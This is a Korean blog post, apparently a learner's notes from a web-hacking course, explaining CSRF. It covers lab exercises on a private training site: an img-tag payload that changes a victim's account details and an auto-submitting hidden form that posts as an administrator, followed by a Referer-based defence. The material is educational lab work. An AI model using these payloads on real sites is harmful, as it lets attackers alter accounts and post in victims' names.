본문 바로가기
Web Hacking

10. CSRF (Cross Site Request Forgery)

by 귀멸 2022. 6. 29.

지난번 OWASP에서 비슷한 단어를 본 기억이 있어서 다시 찾아보니

2021 OWASP 10위에 Rank되어 있는 공격기법이 SSRF라고 되어있다.

  - A10: Server-Side Request Forgery(SSRF, 서버 측 요청 변조)

구글링을 좀 해보니 CSRF는 공격의 대상이 클라이언트에게 변조된 요청으로 공격을 한다면,

SSRF는 서버 자체에 변조된 요청을 보내는 공격이라고 한다.

 

 

0. CSRF (CROSS SITE REQUEST FORGERY)
  - pronounce C-Surf
  - Victim에 의해 Request가 발생하기 때문에 공격자의 IP 추적이 어렵다
  - XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능

  * 공격 조건
  - 공격자는 사이트에서 제공하는 해당 기능의 Request/Response를 분석해야 한다
  - 사이트가 Session Token만으로 해당 기능의 권한을 인증하고 있을 때 가능

 

  ** XSS와 CSRF의 차이점
  - XSS는 공격대상이 Client이고, CSRF는 Server이다.

  - XSS는 사이트변조나 백도어를 통해 클라이언트에 대한 악성공격을 한다.

  - CSRF는 요청을 위조하여 사용자의 권한을 이용해 서버에 대한 악성공격을 한다.

 

1. [실습] 피해자의 권한을 이용해 공격자가 피해자의 계정 정보를 수정한다.

Step1. 공격자 정보변경에 대한 페이지 구성 파악 (웹프록시 이용 - Paros)

    # change information 탭 
    GET http://192.168.1.20/member/member_modify.asp

    # 정보 바꾸고 변경하기 
    GET http://192.168.10.20/member/member_modify_ok.asp?         

    exec=modify&nickname=%B4%A9%B3%EB&email=lvuno@xcurelab.com

     현재 정보변경이 GET 방식으로 서버에 요청하기 때문에 url로 이동하는 것만으로

     회원 정보 변경에 대한 요청을 줄 수 있음

   
     위의 정보를 이용해서 악성script 짜기 url을 전달하기 위해 img tag 사용
    <img src="http://192.168.1.20/member/member_modify_ok.asp?     

     exec=modify&nickname=Blackhacker&email=Blackhacker@itbank.com">

 

 Step2. 공격자는 Guest Board에 위의 구문으로 게시글 작성

 

 Step3. 피해자는 게시글을 읽는 것만으로 회원 정보가 위의 공격자의 의도대로 수정되어버림

 

2. [실습] 피해자가 게시글을 읽는 것만으로 게시글을 등록하도록 악성 스크립트를 게시

 

Step 1. 게시글에 글을 등록하는 것은 어떻게 서버에 요청하게 되는지 파악


1) Guest Board에 들어가는 것 
    GET http://192.168.1.20/board/board_list.asp

 

2) 글쓰기창을 띄우는 것

    GET http://192.168.1.20/board/board_write.asp?user_id=

 

3) 작성완료 된 글을 올리는 것 (작성완료 버튼을 누른다)

POST http://192.168.1.20/board/board_write_ok.asp
Content-Type:multipart/form-data; boundary=---------------------1433958736937548711881873898
Content-Disposition: form-data; name="name"
Content-Disposition: form-data; name="password"
Content-Disposition: form-data; name="email"
Content-Disposition: form-data; name="subject"
Content-Disposition: form-data; name="tag"
Content-Disposition: form-data; name="content"

POST로 요청하고 각각의 내용이 body에서 form-data로 파라미터를 전달하는 것을 알 수 있다.

 

Step 2. 악성 Script 게시하기 
    Post방식에서 body에 전달하기 위해 form Tag 사용


<form name='board' method='post' action='http://192.168.1.20/board/board_write_ok.asp'>
<input type='hidden' name='name' value='관리자'> 
<input type='hidden' name='password' value='1234'>
<input type='hidden' name='email' value='admin@kgitbank.com'>
<input type='hidden' name='subject' value='공지사항'>
<input type='hidden' name='tag' value='T'>
<input type='hidden' name='content' value='해당 사이트의 기술적인 문제로...'>
</form>
<script>document.board.submit();</script>                        : form tag를 바로 전달 하도록

 

 (집에서 실습 진행이 잘 안되서 해당 내용 강의실에서 해보고 수정 필요)

 

 

3. CSRF 대응책

 - 정상적인 루트와 비정상적인 글쓰기의 request차이를 파악한다
 - Referer 현재 page를 발생시킨 URL

정상글 (Request Packet)
POST http://192.168.1.20/board/board_write_ok.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.20/board/board_write.asp?user_id=

CSRF로 등록된 글 (Request Packet)
POST http://192.168.1.20/board/board_write_ok.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.1.20/board/board_view.asp?num=169

똑같이 POST로 /board/board_write_ok.asp에 request를 주고 있는데 Referer가 서로 다르다.
정상글은 board_write.asp로 부터 요청하지만 CSRF로 생성된 글은 board_view.asp로 부터 요청하고 있음을 알 수 있다.

댓글